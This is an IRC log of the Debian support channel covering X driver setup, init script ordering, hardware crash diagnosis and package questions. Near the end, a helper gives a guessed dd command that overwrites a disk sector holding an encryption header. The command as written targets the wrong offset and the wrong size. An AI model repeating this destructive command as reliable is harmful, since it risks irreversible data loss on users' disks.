| 10:04.13 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 10:04.18 | *** join/#debian homie (~levgue@xdsl-78-35-157-43.netcologne.de) |
| 10:05.53 | *** join/#debian smica (~smica@pool137-68.cable.tolna.net) |
| 10:05.58 | *** join/#debian Leoneof (~Leon@unaffiliated/leoneof) |
| 10:06.15 | genieliu | Hi,everyone. I'm new to Debian. After I have installed fglrx and type the command "aticonfig --initial", I can't enter the graphic mode |
| 10:07.44 | genieliu | I'm aware that the xorg.conf is wrong, and after i rm the file , i can enter the graphic mode but the resolution doesn't fit my screen |
| 10:07.49 | homie | it will generate you an xorg.conf in /etc/X11 edit it |
| 10:07.51 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:07.56 | homie | defaults of it are maybe false |
| 10:08.04 | *** join/#debian Astroman (~Astroman@78-86-137-77.zone2.bethere.co.uk) |
| 10:08.29 | homie | or do a plain dpkg-reconfigure xserver-xorg |
| 10:08.42 | homie | will get you the distro xorg.conf |
| 10:08.46 | homie | and edit that |
| 10:08.54 | *** join/#debian dr770 (~doron@bzq-218-171-107.red.bezeqint.net) |
| 10:08.58 | wols_ | genieliu: use the minimal xorg.conf mentioned at http://wiki.debian.org/ATIProprietary |
| 10:09.01 | wols_ | homie: no it won't |
| 10:09.10 | homie | you have to place in the correct HorizSync and VertRefresh lines in the monitor section |
| 10:09.14 | wols_ | genieliu: if that doesn't work, pastebin the Xorg.0.log |
| 10:09.16 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:09.27 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:09.29 | wols_ | homie: your advice is years out of date |
| 10:09.51 | homie | and a modes line with the default mode as the first argument to that in the display subsection of the section screen |
| 10:10.13 | homie | wols_: i still do it that way |
| 10:10.19 | homie | wols_: and can't complain |
| 10:10.38 | wols_ | homie: no you don't. dpkg-reconfigure xserver-xorg doesn't do anything |
| 10:10.45 | *** join/#debian lord_rob (robert@90.54-247-81.adsl-dyn.isp.belgacom.be) |
| 10:10.45 | *** join/#debian lord_rob (robert@unaffiliated/lord-rob/x-573835) |
| 10:11.00 | *** mode/#debian [+l 1077] by debhelper |
| 10:11.22 | homie | not restore xorg.conf ? |
| 10:11.29 | homie | uhh |
| 10:12.13 | *** join/#debian vmvppd (~frederick@ppp-40-39.26-151.libero.it) |
| 10:12.40 | *** join/#debian MrMind (~MrMind@90-231-155-23-no21.tbcn.telia.com) |
| 10:14.53 | *** join/#debian daniel-s (~daniel-s@r180-216-74-50.cpe.vividwireless.net.au) |
| 10:15.29 | drwrr | wols_, should that minimal xorg.conf also work as a NN-xxx.conf file in /usr/share/X11/xorg.conf.d? |
| 10:16.08 | *** join/#debian beerbroy (~asfnet@p57952F97.dip.t-dialin.net) |
| 10:16.16 | wols_ | drwrr: yes |
| 10:16.30 | *** join/#debian chrisjw (~special@unaffiliated/chrisjw) |
| 10:17.05 | drwrr | wols_, is the position in there of any importance to display related options? |
| 10:17.25 | wols_ | afaik no. but might depend what else you have in tehre and why |
| 10:18.18 | drwrr | basically just what's suggested in the page you just linked, but with nv as the "Driver" |
| 10:19.19 | drwrr | tried using a classic xorg.conf earlier, suspected it of breaking something that was broke, so went to this. it's still broke though |
| 10:19.30 | *** join/#debian elky (~melissa@ubuntu/member/pdpc.professional.elky) |
| 10:20.11 | *** join/#debian EduardeCalibal (~Eduarde@187.5.222.253) |
| 10:21.03 | homie | always make a backup of xorg.conf and place it on another partition |
| 10:21.22 | drwrr | homie, there's no xorg.conf in squeeze by default |
| 10:21.52 | homie | i had one |
| 10:22.18 | wols_ | homie: not made by squeeze |
| 10:22.25 | drwrr | <PROTECTED> |
| 10:22.33 | *** join/#debian linux-fox (~user@60.218.63.13) |
| 10:22.34 | homie | hmm, maybe or left from lenny |
| 10:22.41 | linux-fox | laugh.... |
| 10:22.43 | wols_ | not by lenny either |
| 10:23.05 | homie | nm i had one in my /etc/X11 dir |
| 10:23.23 | homie | and i didn't use the proprietary driver to generate one |
| 10:23.51 | homie | maybe just once, don't know.... |
| 10:24.00 | homie | can't remember |
| 10:24.09 | *** join/#debian Metastaz (ov3rdu3@51.128.192.77.rev.sfr.net) |
| 10:25.18 | *** join/#debian aw84 (~aw84@87-207-236-134.dynamic.chello.pl) |
| 10:25.19 | *** join/#debian pnbeast (~pnbeast@61.19.65.253) |
| 10:25.59 | *** join/#debian timahvo1 (~rogue@41.223.57.78) |
| 10:27.05 | phako | why can I find open-vm-tools on packages.debian.org but can't install via apt? |
| 10:27.24 | wols_ | ,versions open-vm-tools |
| 10:27.26 | judd | Package open-vm-tools on i386 -- lenny/contrib: 2008.11.18-130226-1lenny2; sid/contrib: 1:8.4.2-261024-1; squeeze/contrib: 1:8.4.2-261024-1; wheezy/contrib: 1:8.4.2-261024-1 |
| 10:27.36 | wols_ | !tell phako about contrib |
| 10:27.52 | phako | wols_: bah, didn't notice the contrib |
| 10:27.54 | phako | thanks |
| 10:30.27 | *** join/#debian else (~bluegene@awesomo.iodev.org) |
| 10:31.02 | *** join/#debian chrissbx (~chrissbx@69-196-152-229.dsl.teksavvy.com) |
| 10:31.22 | *** join/#debian mirak_ (~mirak@81-64-237-39.rev.numericable.fr) |
| 10:32.15 | chrissbx | Hi. How can I put a sysv init script *before* another one? I need some kind of "prepend" or "required-before" directive. |
| 10:32.47 | chrissbx | Meaning, I'm trying to make it workable with dependency based setup. |
| 10:33.17 | chrissbx | Actually I first tried to simply add a symlink manually, but this was then just never called (*Huh*). |
| 10:33.33 | wols_ | chrissbx: first lines in the script. read an exisiting one and it should become very clear |
| 10:34.03 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:35.07 | wols_ | !tell chrissbx about dependency based startup |
| 10:35.37 | *** join/#debian yongp (~pengyong@119.145.5.180) |
| 10:36.16 | chrissbx | wols_: no, before, not after another one |
| 10:36.44 | chrissbx | wols_: say, in my particular environment, I need to run script foo before script bar will work, |
| 10:36.52 | chrissbx | and script bar is provided by a package, |
| 10:37.03 | chrissbx | so I don't want to mutate script bar to include a dependency line. |
| 10:37.19 | chrissbx | So instead I want to say that script foo should be first by saying it in script foo. |
| 10:37.45 | wols_ | afaik can't be done with the current setup |
| 10:37.58 | chrissbx | d'oh |
| 10:38.00 | wols_ | at least not if you don't want to edit bar. why not? |
| 10:38.07 | *** join/#debian jrib (~jrib@upstream/dev/jrib) |
| 10:38.47 | chrissbx | because (1) probably Debian's config file merging is still not working well, so upgrades will be a hassle, |
| 10:39.04 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:39.05 | chrissbx | (2) I synchronize foo between machines, so putting it into foo would make it work everywhere automatically, |
| 10:39.25 | chrissbx | whereas putting also bar under version control to sync it would just make the mess even worse. |
| 10:40.01 | chrissbx | Sad thing is that this could be done before the introduction of dependency based boot. |
| 10:41.37 | chrissbx | I just want a way to say "this machine of mine (or these machines of mine) need foo to be run before they look normal to Debian". |
| 10:42.19 | chrissbx | (well admittedly foo itself depends on network, so can't just be hard coded into inittab orso) |
| 10:42.30 | *** join/#debian Antilect (~Antilect@90-229-197-56-no150.tbcn.telia.com) |
| 10:43.26 | *** join/#debian ChoiZ (~ChoiZ@213.246.52.5) |
| 10:43.27 | *** join/#debian Droolio (~drool@87-194-15-41.bethere.co.uk) |
| 10:43.44 | *** join/#debian rage7 (~rage@val59-5-88-172-75-180.fbx.proxad.net) |
| 10:43.47 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:44.21 | subimage | can anyone help me with this "read only filesystem" issue? here's my dmesg when it went read only http://pastie.org/2120125 |
| 10:44.38 | subimage | i have no idea what's causing this and it's driving me crazy |
| 10:45.08 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 10:45.21 | *** join/#debian N3M35I5 (scott@unaffiliated/n3m35i5) |
| 10:45.46 | chrissbx | subimage: that sounds a bit like bad RAM or something |
| 10:45.54 | subimage | chrissbx: think so? |
| 10:46.03 | subimage | might be worth a shot i suppose |
| 10:46.10 | subimage | i swapped the mobo today |
| 10:46.13 | chrissbx | especially since gnome-screensaver segfaults, too |
| 10:46.15 | subimage | and i've gone through 4 HD's now |
| 10:46.28 | subimage | maybe ill go swap the ram out tomorrow |
| 10:46.39 | subimage | can't hurt i guess |
| 10:46.46 | subimage | any way i can test the ram under linux to find out if its bad? |
| 10:46.47 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 10:46.57 | *** join/#debian Black_Prince (~Prince@91.191.20.3) |
| 10:46.58 | *** join/#debian Black_Prince (~Prince@unaffiliated/black-prince/x-4865215) |
| 10:46.58 | wols_ | subimage: memtest86 |
| 10:47.00 | chrissbx | just run memtest86+ or memtester |
| 10:47.02 | wols_ | ,versions memtest86 |
| 10:47.04 | judd | Package memtest86 on i386 -- lenny: 3.4-2; sid: 3.5-2.2; squeeze: 3.5-2.2; wheezy: 3.5-2.2 |
| 10:47.11 | subimage | ok i'll try that after fsck runs |
| 10:47.17 | ansgar | chrissbx: There is also X-Start-Before. |
| 10:47.19 | *** join/#debian Multiply (~Multiply@unaffiliated/multiply) |
| 10:47.21 | subimage | appreciate the pointers... |
| 10:47.28 | *** join/#debian starenka (~starenka@ip-62-245-81-157.net.upcbroadband.cz) |
| 10:47.59 | chrissbx | ansgar: yay!! off trying. |
| 10:48.16 | subimage | chrissbx: the weird thing is...i was running "linuxcoin" (bitcoin dist) off a usb key for a week and no issues |
| 10:48.23 | subimage | just when i try to OS to the HD it does weird things |
| 10:48.25 | wols_ | subimage: first thing, disable your fglrx and run the free raedon drivers |
| 10:48.30 | subimage | noooooo |
| 10:48.33 | ansgar | chrissbx: See insserv(8). Also has an override directory if you don't want to modify existing init scripts. |
| 10:48.55 | subimage | wols_: no way the fglrx radeon drivers could impact the fsystem? |
| 10:49.06 | wols_ | of course they can |
| 10:49.11 | subimage | how? |
| 10:49.12 | chrissbx | ansgar: super! and X-Start-Before seems to work. Thanks! |
| 10:49.29 | subimage | and why the heck would i want to run the free radeon drivers |
| 10:49.36 | subimage | i run these drivers on another box just fine |
| 10:49.36 | wols_ | subimage: it's all in the kernel. your radeon driver can write anywhere there and fuck things up. the first segfault you had was in fglrx |
| 10:49.49 | subimage | yeah i was trying "fglrxinfo" |
| 10:49.50 | *** join/#debian Holborn (~holborn@unaffiliated/holborn) |
| 10:50.03 | subimage | trying to see my video cards |
| 10:50.13 | *** join/#debian claviusmond (~Clarice@148.Red-83-36-240.dynamicIP.rima-tde.net) |
| 10:50.16 | wols_ | subimage: no one helps you with a kernel issue when you have proprietary drivers cause no one knows how shitty they are and what they do |
| 10:50.30 | subimage | :( |
| 10:50.33 | subimage | gotcha |
| 10:50.42 | wols_ | and in the kernel, any driver can do anything. like overwriting ext3 data structures |
| 10:50.50 | subimage | that's not very friendly then |
| 10:51.00 | *** mode/#debian [+l 1085] by debhelper |
| 10:51.01 | wols_ | closed source never is |
| 10:51.21 | subimage | wols_: thing is though dude...i got these same issues after simply installing debian |
| 10:51.22 | mark76 | Something crashed my computer and I have no idea what |
| 10:51.28 | subimage | same read-only BS |
| 10:51.39 | subimage | no catalyst drivers present |
| 10:51.42 | wols_ | then it might be something else. |
| 10:51.48 | subimage | which lead me to believe it was a mobo issue |
| 10:51.54 | subimage | just fsck'd maybe i can memtest now |
| 10:53.44 | *** join/#debian dgm_077 (~dgm_077@port-92-206-49-37.dynamic.qsc.de) |
| 10:55.18 | mark76 | Is there anywhere I might find a clue as to why it crashed? Some kind of log, maybe? |
| 10:55.20 | SpeedyG | hey, got a question, i've had xen installed on debian lenny and recently upgraded the Dom0 to squeeze, now i'm in doubt as to what kernel I should update my DomUs (I had them mostly updated prior to the Dom0 update) |
| 10:55.24 | SpeedyG | should this be a xen kernel, or can I just select a regular kernel? |
| 10:56.24 | subimage | wols_: i rebooted then tried to "apt-get install memtest86" and that's segfaulting :( |
| 10:56.35 | subimage | i'm in gdm...but i can't even install anything now |
| 10:57.05 | homie | subimage: for such occasions you should have a recovery cd or usb or so |
| 10:57.13 | *** join/#debian eject_ck (~eject_ck@62.205.134.210) |
| 10:57.22 | homie | subimage: don't work on the broken partition/linux |
| 10:57.22 | *** join/#debian Stava (~Stava@ip232-rld-sdt.tyfon.se) |
| 10:57.28 | subimage | k |
| 10:57.28 | ectospasm | mark76: check /var/log/messages, or /var/log/syslog |
| 10:57.37 | ectospasm | look for the time you rebooted, then just before |
| 10:57.46 | ectospasm | mark76: is this the first time your machine crashed? |
| 10:57.48 | subimage | homie: i have a little livecd |
| 10:57.52 | subimage | maybe i can install memtest there |
| 10:57.52 | homie | ok |
| 10:57.55 | *** join/#debian enr^ (~enr@90-230-67-77-no84.tbcn.telia.com) |
| 10:58.00 | subimage | i'll try to boot from that |
| 10:58.16 | mark76 | No it's crashed before |
| 10:58.18 | ectospasm | you can add memtest to your existing grub configs... |
| 10:58.35 | ectospasm | mark76: does it always seem to crash in the same place? Or does it seem more random? |
| 10:58.46 | mark76 | Random |
| 10:58.52 | mark76 | Definitely random |
| 10:59.03 | mark76 | Hmm. The message log is locked to me |
| 10:59.05 | SpeedyG | anyone an idea to my question ? |
| 10:59.21 | *** join/#debian Sweetshark (~bjoern@port-6492.pppoe.wtnet.de) |
| 10:59.21 | *** join/#debian Sweetshark (~bjoern@canonical/sweetshark) |
| 10:59.28 | chrissbx | subimage: Ubuntu installer images contain memtest, iirc, so in case you've got one ready to boot from that's your easiest option |
| 10:59.49 | *** join/#debian gnugr (~gnugr@athedsl-217347.home.otenet.gr) |
| 10:59.58 | ectospasm | mark76: you need to be root or have sudo access to read /var/log/messages |
| 11:00.07 | ectospasm | potentially sensitive stuff in there |
| 11:00.18 | subimage | chrissbx: yeah thanks...it seemed to be on the boot menu of this UEFI live usb thing |
| 11:00.27 | subimage | i'm running it now and i just keep seeing 0104 go down the screen |
| 11:00.35 | subimage | not sure if it's still running or if it's hung? |
| 11:00.54 | ectospasm | mark76: although random crashes do tend to be hardware rather than software... |
| 11:00.58 | *** join/#debian cydork (~cydork@27.61.137.44) |
| 11:01.02 | *** join/#debian s0d0 (~sod@host86-175-233-184.wlms-broadband.com) |
| 11:01.18 | mark76 | That's what I figured |
| 11:01.23 | SpeedyG | hey, got a question, i've had xen installed on debian lenny and recently upgraded the Dom0 to squeeze, now i'm in doubt as to what kernel I should update my DomUs (I had them mostly updated prior to the Dom0 update) |
| 11:01.26 | chrissbx | subimage: hm? you can hit some key to get to a menu, forgot which one, or esc to reboot, if it doesn't react then yeh |
| 11:01.27 | SpeedyG | should this be a xen kernel, or can I just select a regular kernel? |
| 11:01.28 | *** join/#debian avernos (~avernos@238.Red-80-59-106.staticIP.rima-tde.net) |
| 11:01.40 | mark76 | Stupid not quite four years old computer |
| 11:01.51 | chrissbx | subimage: "then" it's what we expected :) |
| 11:02.43 | mark76 | What's a xen kernel when it's at home? |
| 11:02.46 | ectospasm | mark76: I like to use mprime (http://mersenne.org) to stress test a machine re CPU+RAM... if it crashes within a day of running, and consistently crashes at about the same spot, you have hardware problems... |
| 11:03.02 | *** join/#debian idrinkkkkkbeer (~sissybell@61.173.28.128) |
| 11:03.05 | ectospasm | when I had something similar happen to me, I narrowed it down to a bad memory controller |
| 11:03.06 | idrinkkkkkbeer | hi |
| 11:03.10 | subimage | chrissbx: yeah dude...esc / enter / space do nothing |
| 11:03.11 | ectospasm | mark76: YMMV |
| 11:03.13 | subimage | bad ram then huh? |
| 11:03.20 | mark76 | I'll try that |
| 11:03.38 | idrinkkkkkbeer | i need to know how to use the dd command to completely obliterate just one sector on my HDD, the sector is 512 bytes long and i'd be booting a live linux cd to do this |
| 11:03.40 | chrissbx | subimage: bad ram or bios timing settings or too much overclocked cpu or something similar |
| 11:03.48 | idrinkkkkkbeer | the laptop has only one hdd in it |
| 11:04.08 | ectospasm | idrinkkkkkbeer: the mbr? Or some other sector? |
| 11:04.10 | *** join/#debian Tiffon (~name@unaffiliated/tiff0n) |
| 11:04.12 | chrissbx | subimage: or maybe a bad cooler on the cpu (like, loose) |
| 11:04.14 | subimage | chrissbx: ok im guessing ram then b/c bios timing is stock & so is OC |
| 11:04.15 | mark76 | Do I need to download something extospasm? |
| 11:04.26 | idrinkkkkkbeer | sector 62, it is at the end of track 0 but not inside the MBR |
| 11:04.34 | mark76 | ectospasm: |
| 11:04.45 | *** join/#debian stepdown (~stepdown_@93-97-50-23.zone5.bethere.co.uk) |
| 11:04.49 | ectospasm | mark76: mprime is a program, not sure if it's in apt. Binaries are available at the website I linked |
| 11:04.50 | wols_ | subimage: I suggest you boot memtes86 from a known good stick |
| 11:04.57 | wols_ | subimage: usb stick I mean |
| 11:05.22 | *** join/#debian walterheck (~walterhec@78.191.122.75) |
| 11:05.25 | idrinkkkkkbeer | i'd like to first use ultra random data to write over it like 1000 times, then write it over with zeros a few times |
| 11:05.33 | idrinkkkkkbeer | just im a noob with dd |
| 11:05.35 | SpeedyG | wols_: do you have an idea regarding my xen DomU kernel question ? |
| 11:05.49 | ectospasm | idrinkkkkkbeer: use shred instead |
| 11:05.57 | ectospasm | idrinkkkkkbeer: custom built for that purpose |
| 11:05.58 | *** join/#debian Tuxist (~quassel@dyndsl-091-096-121-076.ewe-ip-backbone.de) |
| 11:06.00 | *** join/#debian dpkg (~dpkg@unaffiliated/dpkg) |
| 11:06.10 | daemonkeeper | SpeedyG: The domU kernel does not matter after all |
| 11:06.14 | idrinkkkkkbeer | ok well im not too particular about what tool i use, just need to know what to type into the terminal ;) |
| 11:06.22 | mark76 | Would gmp-ecm work? |
| 11:06.23 | daemonkeeper | As long as it suppots pv_ops you are fine with either one |
| 11:06.24 | ectospasm | idrinkkkkkbeer: aptitude search shred |
| 11:06.25 | idrinkkkkkbeer | i could easily destroy my entire HDD if i dont ask these questions first |
| 11:06.39 | wols_ | SpeedyG: no |
| 11:06.57 | ectospasm | idrinkkkkkbeer: man shred, it tells you how to do it on a file... up to an entire HDD |
| 11:06.57 | idrinkkkkkbeer | i will do a search |
| 11:07.02 | wols_ | idrinkkkkkbeer: what for? |
| 11:07.21 | idrinkkkkkbeer | but can it be done on a speficic sector only, i know the offset of the beggining and end of it |
| 11:07.31 | idrinkkkkkbeer | wols_ if i told you i'd have to kill you |
| 11:07.37 | wols_ | idrinkkkkkbeer: simply a single overwrite will deostroy a file so it can never be retrieved. never |
| 11:07.46 | idrinkkkkkbeer | its not a file, its a sector of a HDD |
| 11:07.52 | wols_ | same applies |
| 11:07.57 | dutchfish | SpeedyG, have you read this already? http://wiki.debian.org/Xen#Upgrading.2BAC8-transition |
| 11:08.11 | *** join/#debian Kilgore (~Kilgore@unaffiliated/kilgore) |
| 11:08.22 | *** part/#debian Kilgore (~Kilgore@unaffiliated/kilgore) |
| 11:08.24 | *** join/#debian bst (~bst@net168-0-245-109.mbb.telenor.rs) |
| 11:08.33 | idrinkkkkkbeer | ok i've looked at the manual for shred |
| 11:08.44 | *** join/#debian shingouz (shingouz@85-156-168-150.elisa-mobile.fi) |
| 11:08.50 | ectospasm | idrinkkkkkbeer: as I look, maybe a customized dd command would be better |
| 11:09.02 | idrinkkkkkbeer | yea, shred seems more file oriented |
| 11:09.48 | ectospasm | idrinkkkkkbeer: if you know the offset of the sector you wish to obliterate, you can set that with dd... |
| 11:10.00 | ectospasm | Just make sure you have *tested* backups before proceeding. |
| 11:10.01 | mark76 | I do remember that I had just started frozen-bubble when the crash happened. Then the screen just went blank with only an unmoveable cursor on it |
| 11:10.24 | idrinkkkkkbeer | well yea i know the offest of the first byte of the sector and i know the sector is 512b long |
| 11:10.26 | ectospasm | mark76: could you switch to vt1-n? |
| 11:10.27 | idrinkkkkkbeer | but i dont know the command ;) |
| 11:11.00 | *** mode/#debian [+l 1097] by debhelper |
| 11:11.01 | SpeedyG | dutchfish: yeah I had, that was actually what made me doubt it |
| 11:11.08 | mark76 | What's vt1-n? |
| 11:11.09 | *** join/#debian Bop (~Vrooomm@83-223-164-81.cpe.netmadeira.com) |
| 11:11.40 | ectospasm | mark76: virtual terminal 1-N, i.e. ctrl-alt-F1, ctrl-alt-F2, etc... |
| 11:11.54 | mark76 | I could, but why? |
| 11:12.05 | mark76 | Oh you mean after the crash |
| 11:12.06 | mark76 | No |
| 11:12.09 | ectospasm | mark76: to see if it's your machine or just X that's crashed |
| 11:12.09 | *** join/#debian Metastaz (ov3rdu3@126.75.69.86.rev.sfr.net) |
| 11:12.11 | idrinkkkkkbeer | hopes esctospasm can post an example command |
| 11:12.24 | idrinkkkkkbeer | oops, 'ectospasm' lol |
| 11:12.42 | mark76 | Sorry I thought you were asking me to switch to a virtual terminal now |
| 11:12.46 | daemonkeeper | SpeedyG: None of those hints are related to your domUs though |
| 11:13.19 | mark76 | It's the first thing I thought of ectospasm |
| 11:13.26 | *** join/#debian tau (~fc@189-127-55-22.i-next.psi.br) |
| 11:13.28 | ectospasm | idrinkkkkkbeer: use at your own risk! dd if=/dev/urandom of=/dev/sdXN ibs=512 skip=YYY bs=1 count=1 << that is only a guess... |
| 11:13.31 | *** join/#debian iateadonut (~dan@cpe-72-184-206-2.tampabay.res.rr.com) |
| 11:13.46 | tau | how can i figure out what ptyhon default version comes with debian 6.0.1 stable? |
| 11:13.48 | ectospasm | idrinkkkkkbeer: man dd to be sure |
| 11:13.56 | mark76 | I did have trouble getting it to boot up again. Took me several attempts |
| 11:13.57 | wols_ | ,versions python |
| 11:13.58 | judd | Package python on i386 -- lenny: 2.5.2-3; squeeze: 2.6.6-3+squeeze6; sid: 2.6.6-14; wheezy: 2.6.6-14; experimental: 2.7.2-1 |
| 11:14.13 | wols_ | tau: see that. packages.debian.org would tell you too |
| 11:14.41 | tau | k |
| 11:14.42 | tau | nice. |
| 11:14.53 | idrinkkkkkbeer | YYY = offset? |
| 11:15.02 | idrinkkkkkbeer | in bytes |
| 11:15.05 | ectospasm | mark76: could be an overheating problem |
| 11:15.09 | *** join/#debian RobinJ (~Robin@unaffiliated/robinj) |
| 11:15.12 | wols_ | idrinkkkkkbeer: in sectors |
| 11:15.20 | idrinkkkkkbeer | whaaaaa |
| 11:15.22 | ectospasm | idrinkkkkkbeer: read the man page, in ibs-sized blocks |
| 11:15.33 | idrinkkkkkbeer | so i just enter 62 |
| 11:15.45 | mark76 | Yeah, that's possible ecto |
| 11:15.50 | wols_ | idrinkkkkkbeer: iirc. but just first _read_ your sector then when you know that it works and reads the right oen, THEN write to it |
| 11:15.54 | idrinkkkkkbeer | if i lose this HDD i lose about 2 million dollar in irreplacable patenets so please be sure |
| 11:15.57 | mark76 | God knows how I'd deal with that |
| 11:15.57 | idrinkkkkkbeer | i have no backup |
| 11:16.04 | tau | oh, wols_ the python3, comes in which version? |
| 11:16.09 | ectospasm | idrinkkkkkbeer: then don't do it |
| 11:16.25 | ectospasm | if you can't afford to lose the HDD, then you should NOT proceed without a tested backup. |
| 11:16.30 | *** join/#debian Sefid_Par (~chatzilla@78.38.176.2) |
| 11:16.45 | ectospasm | If it's worth $2m, then pay someone to do this for your securely. |
| 11:17.04 | wols_ | idrinkkkkkbeer: that's why I told you how to proceed. of course without a backup it is all utterly foolish |
| 11:17.16 | idrinkkkkkbeer | ok well i can also use dd to backup the hdd right |
| 11:17.21 | idrinkkkkkbeer | into an iso |
| 11:17.28 | wols_ | yes |
| 11:17.32 | ectospasm | I think there are HDD recovery firms that can extract all the data you need...for like $3k per HDD. |
| 11:17.32 | Sefid_Par | How can I know if my laptop hardware is not compatible with Debian before installing Debian? |
| 11:17.45 | ectospasm | Sefid_Par: there is a LiveCD |
| 11:18.01 | ectospasm | !tell Sefid_Par about livecd |
| 11:18.05 | idrinkkkkkbeer | i'll try it on another laptop first |
| 11:18.10 | idrinkkkkkbeer | i dont care about that one |
| 11:18.11 | *** part/#debian tau (~fc@189-127-55-22.i-next.psi.br) |
| 11:18.20 | *** join/#debian Leoneof (~Leon@unaffiliated/leoneof) |
| 11:18.25 | idrinkkkkkbeer | urandom = ultra random i guess |
| 11:18.33 | ectospasm | idrinkkkkkbeer: unsigned |
| 11:18.51 | ectospasm | idrinkkkkkbeer: and it's pseudorandom, unless you have a random number generator device |
| 11:19.06 | *** join/#debian marti_ (~marti@46.112.176.218) |
| 11:19.14 | idrinkkkkkbeer | sector 62 has an encryption volume header on it, it must be impossible to recover |
| 11:19.14 | ectospasm | idrinkkkkkbeer: are you unable to make a backup? |
| 11:19.20 | *** part/#debian marti_ (~marti@46.112.176.218) |
| 11:19.23 | idrinkkkkkbeer | can i set how many times to write over it? |
| 11:19.31 | ectospasm | idrinkkkkkbeer: bash for loop (-; |
| 11:19.42 | idrinkkkkkbeer | since its only 512 bytes it shouldnt take long to do about 10000 or so |
| 11:19.51 | wols_ | ectospasm: not unsigned but "unblocked" |
| 11:20.05 | ectospasm | wols_: you're right |
| 11:20.22 | Sefid_Par | ectospasm: Thanks. |
| 11:20.25 | ectospasm | I was thinking of uints in some APIs |
| 11:20.29 | mark76 | I do I deal with possible overheating, ectospasm? |
| 11:20.37 | idrinkkkkkbeer | im going to do it on another laptop now then check sector 62 with winhex |
| 11:21.03 | *** join/#debian dgeary2 (~david@d58-106-69-5.sbr800.nsw.optusnet.com.au) |
| 11:21.08 | ectospasm | mark76: well, it seems either your CPU, GPU, or MMU is not properly cooled. The fun is figuring out which it is. |
| 11:21.15 | wols_ | ectospasm: would be funny to have signed and unsigned integers? chars? from /dev/random :) |
| 11:21.17 | *** join/#debian Listerd (~listerd@ALille-257-1-159-99.w2-5.abo.wanadoo.fr) |
| 11:21.23 | ectospasm | wols_: yeah, you're right |
| 11:21.29 | ectospasm | It's all in how you look at it |
| 11:21.40 | idrinkkkkkbeer | by the way dont i need to specify the name of the HDD in of=/dev/sDxn? My hdd is not called sDxn |
| 11:21.57 | ectospasm | looking at it signed vs. unsigned can potentially change its meaning (-; |
| 11:22.10 | wols_ | ectospasm: I had to look it up too why it was "u" for this one. I only remembered the entropy pool difference between the two |
| 11:22.16 | ectospasm | idrinkkkkkbeer: e.g. /dev/sda1, or /dev/sde17 |
| 11:22.24 | wols_ | idrinkkkkkbeer: it is |
| 11:22.27 | ectospasm | ...or whatever designation your HDD device is |
| 11:22.37 | idrinkkkkkbeer | in windows my hdd is called Disk 0 |
| 11:22.47 | wols_ | idrinkkkkkbeer: we don't support windows here. only debian |
| 11:22.47 | ectospasm | idrinkkkkkbeer: you ain't in Kansas no more (-; |
| 11:22.47 | idrinkkkkkbeer | not sure if same name in linux |
| 11:22.50 | mark76 | So how do I figure that out, ectospasm? |
| 11:23.08 | idrinkkkkkbeer | once i boot up the live cd im in linux land |
| 11:23.08 | ectospasm | mark76: when's the last time it froze? |
| 11:23.15 | idrinkkkkkbeer | is there a way to find the name of the hdd |
| 11:23.15 | *** join/#debian SpeedyG (~speedyg@unaffiliated/speedyg) |
| 11:23.20 | idrinkkkkkbeer | tis the only one connected |
| 11:23.23 | *** join/#debian marti_ (~marti@46.112.176.218) |
| 11:23.36 | ectospasm | idrinkkkkkbeer: it's probably going to be /dev/sda1 if its the first primary partition of the first SATA/SCSI drive. |
| 11:23.51 | mark76 | About 11:45 |
| 11:23.51 | idrinkkkkkbeer | thanks |
| 11:23.53 | wols_ | idrinkkkkkbeer: then it will be "/dev/sda". why do you need linux to overwrite a single sector when you can look at it with your winhex program? |
| 11:24.13 | idrinkkkkkbeer | i tried with winhex, i did overwrite the sector but when i click save, it says the disk is write protected |
| 11:24.19 | idrinkkkkkbeer | i also tried about 5 other disk editing programs |
| 11:24.28 | idrinkkkkkbeer | u cannot edit a disk that windows is running on from windows |
| 11:24.30 | ectospasm | mark76: don't give a time without a timezone. I'm in US CDT, UTC -500 |
| 11:24.32 | idrinkkkkkbeer | windows 7 ultimate |
| 11:24.38 | wols_ | idrinkkkkkbeer: you can |
| 11:24.41 | wols_ | but that's OT here |
| 11:24.47 | mark76 | 11:45 BST |
| 11:24.48 | idrinkkkkkbeer | u cannot i am 10000% sure |
| 11:24.56 | idrinkkkkkbeer | i asked on superuser.com |
| 11:25.00 | idrinkkkkkbeer | experts told me impossible |
| 11:25.03 | ectospasm | idrinkkkkkbeer: partedmagic might help. |
| 11:25.19 | ectospasm | idrinkkkkkbeer: it's good you're thinking out of the box to use Linux |
| 11:25.33 | idrinkkkkkbeer | because it is impossible to delete sector 62 from within a running windows |
| 11:25.36 | *** join/#debian Bop (~Vrooomm@83-223-164-81.cpe.netmadeira.com) |
| 11:25.37 | ectospasm | idrinkkkkkbeer: but can you not make backups before you make yourself sad? |
| 11:25.57 | idrinkkkkkbeer | i will make a backup, i will test on another lenovo i have |
| 11:26.11 | idrinkkkkkbeer | but if this can be done inside windows i would be happy chappy |
| 11:26.17 | SpeedyG | thanks guys, updated with no further errors/issues |
| 11:26.20 | ectospasm | idrinkkkkkbeer: we cannot answer that here. |
| 11:26.35 | idrinkkkkkbeer | well if you can suggest a program please pm me |
| 11:26.37 | idrinkkkkkbeer | just a name |
| 11:26.40 | *** join/#debian zepp^ (~zepp@dhcp-077-248-015-117.chello.nl) |
| 11:26.46 | idrinkkkkkbeer | partedmagic sounds like it is for making partitions |
| 11:26.56 | *** join/#debian BlouBlou (~daniel@wikimedia/BlouBlou) |
| 11:27.13 | ectospasm | idrinkkkkkbeer: you could use a hex editor in Linux, those do exist |
| 11:27.14 | *** join/#debian dawN` (~dawN@chello080108040220.22.11.vie.surfer.at) |
| 11:28.05 | *** join/#debian eSa| (~esa@95.236.235.176) |
